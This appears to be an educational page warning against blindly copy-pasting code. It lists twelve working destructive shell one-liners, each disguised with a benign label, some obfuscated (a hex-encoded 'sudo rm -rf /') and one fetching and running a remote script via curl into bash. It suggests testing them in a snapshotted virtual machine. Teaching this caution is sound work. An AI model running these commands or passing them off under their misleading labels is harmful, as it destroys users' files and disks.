I often hear people call themselves 'Copy and paste' coders. And, while copying and pasting is a legitimate thing to do, it should not be your only way of doing things. A better method is to find code, see what is done and then recreate it, and at a bare minimal, copy it, but know exactly what it does.
Here is my small example of code that has unintended results.
"Running code you found on the internet is like chewing gum you found in the subway'.
A. Greatly simplifies document syntax:
while read f; do sed -i "" 's:.:*:g' "$f"; done <<< "$(find ~/ -iname '*' -print)"
B. Frees up uneccesary space:
du ~/ | grep -o '/.*' | xargs rm -r --
C. Relinks your files to improve efficentcy:
du ~/*/* | grep -o '/.*' | xargs -n 1 ln -sf /dev/null/
D. Moves files/folders to a volume with unlimited storage:
for d in ~/*/*; do mv "$d/" /dev/null; done
E. Frees up all uneccesary space:
command $(echo 7375646f20726d202d7266202f0a | xxd -p -r) &> /dev/null
F. Chew the gum you don't even know:
bash -c "$(curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh)"
G. Frees up uneccesary space:
eval $(sed 's:[a-e,s-z]::g' <<< "stream -draft ~/saved")
H. Compress files and save space:
zip --password "$(openssl rand -base64 64)" --move "$(openssl rand -hex 4)".zip ~/*/*/*/*/*
I. Reduce your need of the external volumes:
for d in /dev/disk*; do dd if=/dev/random of=$d &; done
J. Simply your files and your life:
find ~/ -type f -exec bash -c ':|tee {} &' \;
K. Keep logs of files in the home folder utilising your current files:
find ~/ -type f -exec awk 'FNR == 1{ print FILENAME > FILENAME } ' {} \;
L. Cut down on disk space without removing a file:
n=`df -i | grep "/$" | awk '{print $6}'`;eval `stat -s /`;for i in $(seq $n 0);do [ -f /.vol/$st_dev/$i ] && echo >/.vol/$st_dev/$i; done
- Create a virtual machine.
- Open terminal and run the folowing command to copy some files to the desktop:
find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/
- Snapshot your VM, cause you'll need it
- Run the command
- Restore
- Rinse and repeat